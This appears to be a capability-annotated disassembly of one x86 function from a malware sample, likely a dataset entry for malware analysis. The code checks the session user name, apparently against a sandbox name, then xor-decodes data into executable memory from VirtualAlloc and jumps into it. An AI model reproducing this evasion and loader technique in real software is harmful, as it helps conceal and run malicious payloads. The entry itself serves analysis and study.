Function at 0x4a06ec
Capabilities:
Encode data using xor
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x4a033c
call fcn.0040677c
push 0x4a0a6c
push 0x4a0a88
mov ecx, dword [0x4a4668]
mov dl, 1
mov eax, dword [0x41afd4]
call fcn.0041fbd8
mov dword [0x4a5120], eax
mov dword [0x4a5170], 1
call sub.kernel32.dll_GetCurrentThreadId_1
inc dword [0x4a5170]
cmp dword [0x4a5170], 0x13ef13a1
jne 0x4a0727
mov dword [0x4a517c], 0xfa
mov eax, dword [0x4a517c]
call fcn.00402788
mov dword [0x4a5184], eax
push 0x4a517c
mov eax, dword [0x4a5184]
push eax
call sub.advapi32.dll_GetUserNameA
mov eax, dword [0x4a5184]
cmp byte [eax + 1], 0x6f
jne 0x4a078c
mov eax, dword [0x4a5184]
cmp byte [eax + 4], 0x44
jne 0x4a078c
mov eax, dword [0x4a5184]
cmp byte [eax + 6], 0x65
je 0x4a0a5f
mov dword [0x4a5148], 0x64
mov dword [0x4a5170], 1
call sub.kernel32.dll_GetCurrentThreadId_1
inc dword [0x4a5170]
cmp dword [0x4a5170], 0x13ef13a1
jne 0x4a07a0
mov dword [0x4a5174], 0x1000
mov dword [0x4a516c], 0x8a58b
mov dword [0x4a515c], esp
add dword [0x4a515c], 0x40
mov dword [0x4a5160], ebp
add dword [0x4a5160], 0x20
lea ecx, [0x4a4668]
mov eax, dword [ecx - 0x10]
mov dword [0x4a5168], eax
mov eax, dword [ecx - 0x14]
mov dword [0x4a5164], eax
mov eax, sub.kernel32.dll_VirtualAlloc_1
mov dword [0x4a5180], eax
mov eax, dword [0x4a5120]
mov edx, dword [eax]
call dword [edx]
mov dword [0x4a5178], eax
push 0x40
mov eax, dword [0x4a5174]
push eax
mov eax, dword [0x4a5178]
add eax, dword [0x4a5148]
push eax
push 0
call dword [0x4a5180]
mov dword [0x4a5124], eax
push 0x40
mov eax, dword [0x4a5174]
push eax
mov eax, dword [0x4a5178]
add eax, dword [0x4a5148]
push eax
push 0
call dword [0x4a5180]
mov dword [0x4a512c], eax
mov eax, dword [0x4a5120]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x4a5124]
mov eax, dword [0x4a5120]
call fcn.0041f574
mov eax, dword [0x4a5124]
mov eax, dword [eax]
mov dword [0x4a5138], eax
mov eax, dword [0x4a5124]
add eax, 4
mov dword [0x4a5124], eax
mov eax, dword [0x4a512c]
mov dword [0x4a5128], eax
mov eax, dword [0x4a5128]
sub eax, 4
mov dword [0x4a5128], eax
xor eax, eax
mov dword [0x4a5154], eax
xor eax, eax
mov dword [0x4a5158], eax
mov dword [0x4a5144], 0x15b3
xor eax, eax
mov dword [0x4a514c], eax
xor ecx, ecx
mov edx, dword [0x4a5178]
mov eax, dword [0x4a512c]
call fcn.00407344
mov eax, dword [0x4a5120]
mov edx, dword [eax]
call dword [edx]
mov dword [0x4a5150], eax
xor eax, eax
mov dword [0x4a5170], eax
mov eax, dword [0x4a5154]
cmp eax, dword [0x4a5150]
jae 0x4a094c
mov eax, dword [0x4a512c]
add eax, dword [0x4a5158]
mov dword [0x4a5130], eax
mov eax, dword [0x4a5124]
add eax, dword [0x4a5154]
mov dword [0x4a5134], eax
mov ecx, dword [0x4a5148]
mov edx, dword [0x4a5134]
mov eax, dword [0x4a5130]
call fcn.0040733c
mov eax, dword [0x4a5148]
add dword [0x4a5158], eax
mov eax, dword [0x4a5148]
add dword [0x4a5154], eax
mov eax, dword [0x4a514c]
add dword [0x4a5154], eax
jmp 0x4a08e6
mov dword [0x4a513c], 0x100590
mov eax, dword [0x4a5128]
add eax, dword [0x4a513c]
mov dword [0x4a5140], eax
xor eax, eax
mov dword [0x4a5170], eax
mov eax, dword [0x4a5170]
cmp eax, dword [0x4a5138]
jae 0x4a0a25
push 0
call sub.gdi32.dll_GetBkMode
mov edx, dword [0x4a512c]
mov edx, dword [edx]
add edx, dword [0x4a5170]
add eax, edx
mov edx, dword [0x4a512c]
mov dword [edx], eax
mov eax, dword [0x4a5170]
add eax, dword [0x4a516c]
dec eax
mov dword [0x4a5174], eax
mov eax, dword [0x4a5144]
add eax, dword [0x4a5174]
mov dword [0x4a5178], eax
push 0
call sub.gdi32.dll_GetBkMode
add eax, dword [0x4a5178]
mov edx, dword [0x4a512c]
xor eax, dword [edx]
mov dword [0x4a5178], eax
push 0
call sub.gdi32.dll_GetBkMode
add eax, dword [0x4a5178]
mov edx, dword [0x4a512c]
mov dword [edx], eax
mov eax, dword [0x4a512c]
add eax, 4
mov dword [0x4a512c], eax
xor eax, eax
mov dword [0x4a5174], eax
mov eax, dword [0x4a5170]
add eax, 4
add eax, dword [0x4a5174]
mov dword [0x4a5170], eax
mov eax, dword [0x4a5170]
cmp eax, dword [0x4a5138]
jb 0x4a097e
add dword [0x4a5140], 4
sub dword [0x4a5140], 0x1000
push dword [0x4a515c]
push dword [0x4a5160]
push dword [0x4a5164]
push dword [0x4a5168]
push dword [0x4a4668]
push eax
xor ecx, ecx
add ecx, dword [0x4a5140]
jmp ecx
call fcn.00404130